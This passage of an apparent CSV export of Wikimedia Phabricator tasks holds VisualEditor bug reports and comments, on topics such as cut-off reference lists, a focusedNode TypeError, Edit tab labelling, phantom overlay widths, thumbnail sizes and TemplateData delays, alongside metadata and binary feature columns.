+**Severity**: normal
+
+**Attached**: {F11283}",Medium,50.0,1372468740,1377828038.0,PHID-USER-fwlidikyeorzj35hufwu,False,,False,PHID-TASK-hoazjhp6o63s5rrky5qa,task_description,resolved,True,c1,2,False,False,True,-1,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1
+237594,VisualEditor: Reference list display being cut off in some pages,"(In reply to comment #2)
+> Could this be the same as bug 52371?
+
+No, this was a graphical glitch that we fixed (but I forgot to mark as such) - closing.",,,1377828038,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hoazjhp6o63s5rrky5qa,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,1
+237589,VisualEditor: Reference list display being cut off in some pages,Could this be the same as bug 52371?,,,1377443863,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-hoazjhp6o63s5rrky5qa,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0
+237580,VisualEditor: Reference list display being cut off in some pages,"I couldn't reproduce on Firefox or Chrome, Linux or Windows.  The article hasnt changed since the bug was raised.
+https://en.wikipedia.org/wiki/Arc_diagram?veaction=edit
+
+Did you experience this on any other article?",,,1374463011,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hoazjhp6o63s5rrky5qa,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+52406,"VisualEditor: ""TypeError: focusedNode is null"" thrown when applying a link to a template","Creating a template entry, marking it and click on ""Link"" button results in following error (twice in a row):
+
+TypeError: focusedNode is null
+https://bits.wikimedia.org/static-1.22wmf9/extensions/VisualEditor/modules/ve/ui/ve.ui.Context.js
+Line 260
+
+VE is in a bad state after this cannot access template edit at all after this.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1372462920,1384202462.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-5wuwyofe6l5k2cmqjzad,task_description,declined,True,c1,2,False,False,False,-1,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+237272,"VisualEditor: ""TypeError: focusedNode is null"" thrown when applying a link to a template","Changing the status to Resolved -Worksforme.
+If you still experience the error , please reopen the bug.",,,1384202462,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-5wuwyofe6l5k2cmqjzad,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+237263,"VisualEditor: ""TypeError: focusedNode is null"" thrown when applying a link to a template","Not getting this error now in FireFox 20 and Chrome Version 26.0.1410.65 using MAC OS X 10.8.5.
+
+Right now clicking on ""Link"" button while selecting a template adds the link to the left of the template and can access  template edit after that.",,,1384202215,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-5wuwyofe6l5k2cmqjzad,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0
+52402,"VisualEditor: Behaviour of default ""Edit"" tab should not vary by namespace (action=edit vs. veaction=edit)","When VE is active on a page it inserts its own ""edit"" tab (veaction=edit) and renames the legacy edit tab (action=edit) to ""Edit source"".
+
+Since VE is not active on all pages though the ""edit"" tab's functionality is inconsistent across pages (sometimes opening VE, sometimes opening the Wikitext editor).
+
+VE should rename the legacy edit tab to ""Edit source"" on *every* page (even if it is not active and therefore not inserting it's own ""edit"" link so the button's functionality keeps consistent across pages.
+
+
+This was also discussed on http://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29#Change_the_.22Edit.22_tab_to_.22Edit_source.22_in_all_namespaces.
+Please note (as discussed in the linked section) that renaming the legacy edit tab globally by simply changing the existing interface message is *not* an option. People not using the visual editor should not see ""edit source"" by default but should continue to see the same text that was always there.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50424",Medium,50.0,1372459800,1375423094.0,PHID-USER-v3yn5qf233ggnnnmvejc,False,,False,PHID-TASK-dwxii5uaohcgrtbsiwxl,task_description,resolved,True,c1,2,False,False,True,-1,,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+237068,"VisualEditor: Behaviour of default ""Edit"" tab should not vary by namespace (action=edit vs. veaction=edit)",Now fixed and deployed.,,,1375423094,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dwxii5uaohcgrtbsiwxl,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+237063,"VisualEditor: Behaviour of default ""Edit"" tab should not vary by namespace (action=edit vs. veaction=edit)","Change 77165 had a related patch set uploaded by Catrope:
+Move edit tab generation into PHP and make it more configurable
+
+https://gerrit.wikimedia.org/r/77165",,,1375414255,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dwxii5uaohcgrtbsiwxl,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0
+237059,"VisualEditor: Behaviour of default ""Edit"" tab should not vary by namespace (action=edit vs. veaction=edit)","Changing CSS id tags doesn't seem like all that much of a programming challenge, but it would enable all language Wikipedias to deal with this problem of inconsistent names appearing on ""edit"" tabs. So the payoff here, per hour of programming time, is really large. This isn't in any way a controversial change (it's invisible, directly, to users); it would be great if someone would deal with it and we could make progress in reducing user confusion.",,,1375284716,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-dwxii5uaohcgrtbsiwxl,task_subcomment,,True,c1,3,False,,,4,,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+237054,"VisualEditor: Behaviour of default ""Edit"" tab should not vary by namespace (action=edit vs. veaction=edit)","(In reply to comment #3)
+> I'm think the following request by English Wikipedia user Reaper Eternal is
+> relevant to this bug (sorry if it isn't).
+
+Yes, that would get fixed by us doing this.",,,1374262304,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dwxii5uaohcgrtbsiwxl,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,1
+237049,"VisualEditor: Behaviour of default ""Edit"" tab should not vary by namespace (action=edit vs. veaction=edit)","(In reply to comment #3)
+
+Reaper Eternal's proposal is an excellent solution to the issue of what the ""Edit source"" tab should be named, and partly addresses whether ""Edit"" should be ""Edit source"" even when VE is not available (and thus there is one edit tab, not two). His proposal is a good solution because it then allows individual editors to alter these labels (I  would prefer ""VE"" rather than ""Edit"", and ""Wikitext"" rather than ""Edit source"",for example) via their own CSS, while leaving the defaults as is for newer editors. 
+
+> I'm think the following request by English Wikipedia user Reaper Eternal is
+> relevant to this bug (sorry if it isn't).
+> 
+> ""Currently, on articles and userpages, editing using the VisualEditor uses
+> the
+> #ca-edit CSS id and editing the source uses the #ca-editsource CSS id.
+> However,
+> in all other namespaces, #ca-edit is the only edit link. For people like me
+> who
+> like to change the titling or styling of the tabs, this inconsistency is
+> annoying. (For me, it makes the ""edit"" tab on this page display as ""VE""
+> rather
+> than ""Source"".) Could the CSS id tags be made consistent (use #ca-editsource
+> for all non-VE editing)? Thanks.""",,,1374250805,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-dwxii5uaohcgrtbsiwxl,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+237044,"VisualEditor: Behaviour of default ""Edit"" tab should not vary by namespace (action=edit vs. veaction=edit)","I'm think the following request by English Wikipedia user Reaper Eternal is relevant to this bug (sorry if it isn't).
+
+""Currently, on articles and userpages, editing using the VisualEditor uses the #ca-edit CSS id and editing the source uses the #ca-editsource CSS id. However, in all other namespaces, #ca-edit is the only edit link. For people like me who like to change the titling or styling of the tabs, this inconsistency is annoying. (For me, it makes the ""edit"" tab on this page display as ""VE"" rather than ""Source"".) Could the CSS id tags be made consistent (use #ca-editsource for all non-VE editing)? Thanks.""",,,1374250111,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dwxii5uaohcgrtbsiwxl,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,1,0,1,1,0,0,0
+237037,"VisualEditor: Behaviour of default ""Edit"" tab should not vary by namespace (action=edit vs. veaction=edit)","I agree that relabelling it immediately for all MediaWiki installations is a poor choice, as (a) some people, (b) some WMF wikis, and (c) almost all MediaWiki wikis not hosted by WMF do not have VisualEditor enabled at this point.
+
+When VisualEditor is on for everyone, labelling the tab ""edit source"" (even when ""edit"", i.e. VisualEditor, is not available) seems like the best solution for our cluster. (If we wanted to, we could over-ride the value of the ""edit"" tab with a message from the Wikimedia-Messages system to do a WMF-specific over-ride of the MediaWiki default.) However, fixing this before (b) is fixed, let alone whilst (a) is fixed, feels like the wrong way to do this.
+
+A shorter-term fix is indeed to re-label ""edit"" to ""edit source"" for all pages visited by all users with VisualEditor. Maybe we could do that. Thoughts, Timo?",,,1372583668,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dwxii5uaohcgrtbsiwxl,task_subcomment,,True,c1,2,True,,,-1,,1,1,0,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+237033,"VisualEditor: Behaviour of default ""Edit"" tab should not vary by namespace (action=edit vs. veaction=edit)","I initially suggested updating the wording from ""Edit"" to ""Edit source"" at that VPT thread, and at https://en.wikipedia.org/wiki/MediaWiki_talk:Edit and at https://en.wikipedia.org/wiki/MediaWiki_talk:Vector-view-edit
+
+There are some good (and some not so good) suggestions and comments in the VPT thread. 
+
+Consistency would be ideal, and Eduard's suggestion above, seems to make the most sense.",,,1372471069,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-dwxii5uaohcgrtbsiwxl,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,0
+52395,VisualEditor: Phantoms can be width:100% when the object they're meant to cover has a floated element alongside it,"Try editing the professional ratings template in https://en.wikipedia.org/wiki/All_6%27s_and_7%27s?veaction=edit
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50551
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50910
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51708",Medium,50.0,1372453440,1554826913.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-2r6x4q4bt3fqtg3es4ps,task_description,duplicate,True,c1,2,False,False,False,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+236683,VisualEditor: Phantoms can be width:100% when the object they're meant to cover has a floated element alongside it,"This issue also occurs for the following case:
+
+1.Add an image
+2.Add a gallery 
+3.Change the position of the image to the left 
+4.Select the gallery
+5.Try to select the image 
+
+Observed Result:
+Since the width of the phantom for the gallery is 100% , it is overlapping with the image and it becomes difficult to select the image after that.",,,1396302080,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-2r6x4q4bt3fqtg3es4ps,task_subcomment,,True,c1,3,False,,,39,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+236678,VisualEditor: Phantoms can be width:100% when the object they're meant to cover has a floated element alongside it,*** Bug 51048 has been marked as a duplicate of this bug. ***,,,1385381652,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2r6x4q4bt3fqtg3es4ps,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+236675,VisualEditor: Phantoms can be width:100% when the object they're meant to cover has a floated element alongside it,*** Bug 50443 has been marked as a duplicate of this bug. ***,,,1377830806,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2r6x4q4bt3fqtg3es4ps,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+236669,VisualEditor: Phantoms can be width:100% when the object they're meant to cover has a floated element alongside it,*** Bug 50211 has been marked as a duplicate of this bug. ***,,,1373164008,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2r6x4q4bt3fqtg3es4ps,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+236662,VisualEditor: Phantoms can be width:100% when the object they're meant to cover has a floated element alongside it,"Changed title to ""Phantoms can be width:100% when the object they're meant to cover has a floated element alongside it""; looks like the phantom is generated to be as wide as its target ""should"" be, before the floats come into play. This can make it impossible to edit the floated item.",,,1372456631,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2r6x4q4bt3fqtg3es4ps,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,1,0,0,0,0,0
+52379,VisualEditor: Do not add size for standard thumbnail images when inserting them,"Wikicode for inserting animage in a standard ways into Wikipedia: 
+
+[[File:Name.jpg|thumb|Text]] without any size.
+
+VE adds a fixed size of 225x225px (why these numbers?) to the wikicode which is wrong for most Wikipedias.
+
+The size of a standard thumbnail depends on $wgThumbLimits and $wmgThumbsizeIndex or the size set in the user preference.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://fr.wikipedia.org/w/index.php?title=Yael_Bartana&diff=94503286&oldid=90892725
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=47804",Medium,50.0,1372429740,1393446774.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-a6pw6i4cfeu2jzsduppd,task_description,resolved,True,c1,2,False,False,False,-1,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,1,1,0,1,0,1,1
+235724,VisualEditor: Do not add size for standard thumbnail images when inserting them,Done in gerrit 114420.,,,1393446774,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-a6pw6i4cfeu2jzsduppd,task_subcomment,,True,c1,3,True,,,34,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+235719,VisualEditor: Do not add size for standard thumbnail images when inserting them,"I support this bug. Please dont add a size to the image by default. And show the size as tooltip, if user resizes it.",,,1376561973,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-a6pw6i4cfeu2jzsduppd,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+235713,VisualEditor: Do not add size for standard thumbnail images when inserting them,This bug doesn't depend on bug 38129 (and neither does it block it).,,,1373230571,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-a6pw6i4cfeu2jzsduppd,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+235709,VisualEditor: Do not add size for standard thumbnail images when inserting them,"(In reply to comment #2)
+> Further the manual of style policy on image size
+> http://en.wikipedia.org/wiki/Wikipedia:IMGSIZE#Displayed_image_size
+> states that most images on the right hand side of the page should be scaled
+> to
+> 220 pixels wide. There need to be a way of specifying a precise numerical
+> size.
+
+No. This is a setting specified in the configuration file. No need to enter a precise numerical value. Per above policy: ""In general, do not define the size of an image"".",,,1373228305,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-a6pw6i4cfeu2jzsduppd,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,1,0,1,0,1,0,1,1
+235703,VisualEditor: Do not add size for standard thumbnail images when inserting them,"(In reply to comment #2)
+> Further the manual of style policy on image size
+> http://en.wikipedia.org/wiki/Wikipedia:IMGSIZE#Displayed_image_size
+> states that most images on the right hand side of the page should be scaled
+> to 220 pixels wide. There need to be a way of specifying a precise
+> numerical size.
+
+That will be done as part of bug 38129.",,,1373228269,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-a6pw6i4cfeu2jzsduppd,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,1,1
+235697,VisualEditor: Do not add size for standard thumbnail images when inserting them,"Further the manual of style policy on image size http://en.wikipedia.org/wiki/Wikipedia:IMGSIZE#Displayed_image_size
+states that most images on the right hand side of the page should be scaled to 220 pixels wide. There need to be a way of specifying a precise numerical size.",,,1373227900,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-a6pw6i4cfeu2jzsduppd,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,1,0
+235691,VisualEditor: Do not add size for standard thumbnail images when inserting them,*** Bug 50766 has been marked as a duplicate of this bug. ***,,,1372966971,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-a6pw6i4cfeu2jzsduppd,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+52372,Updated TemplateData from transcluded items take a long time to show up,"TemplateData from transcluded items (i.e. doc pages) takes a long time to show up in the API. 
+
+A temporary solution to this is to do a [[ https://www.mediawiki.org/wiki/Manual:Purge#Null_edits | null edit  ]] (opening the page, and saving, without making any changes) which will cause the template data to propagate immediately. 
+",Medium,50.0,1372421640,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ssksx6n4c7yondhu6cpg,task_description,stalled,True,c1,2,False,False,,-1,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+2283032,Updated TemplateData from transcluded items take a long time to show up,"How about...
+Either
+A) add a shortcut somewhere in MW software to do a null template edit whenever its /doc page is saved (not everything has to be perfect)
+or
+B) add a note next to ""This template is missing TemplateData, and its parameters have been autogenerated"" so people know what's happening.
+
+TemplateData is already too cryptic, though helpful, and it's frustrating when things are not showing up in VE for days (10 days in my latest case), for no obvious reason. ",,,1708553338,,PHID-USER-bommaimh4fl3xvg3ays6,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,555,,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+1583940,Updated TemplateData from transcluded items take a long time to show up,A 7 year old task isn't UBN,,,1600590692,,PHID-USER-2wquu5nwbdqcuzo5qiuf,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,376,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+1583939,Updated TemplateData from transcluded items take a long time to show up,"> Quoted Text
+
+",,,1600590184,,PHID-USER-mjtmg5ramyrkn7pbwxmq,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,376,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+1549544,Updated TemplateData from transcluded items take a long time to show up,"This continues to be a serious problem. 
+
+Someone deleted some template data on cy wiki from a template on June 24, and it actually broke automatic citaitons on visual editor for *a month* for all citations using the cite web template; even though the edits had since been reverted, but because it will still pulling through templatedata that was a month outdated (i.e. missing.) It wasn't fixed until I did a null edit. 
+
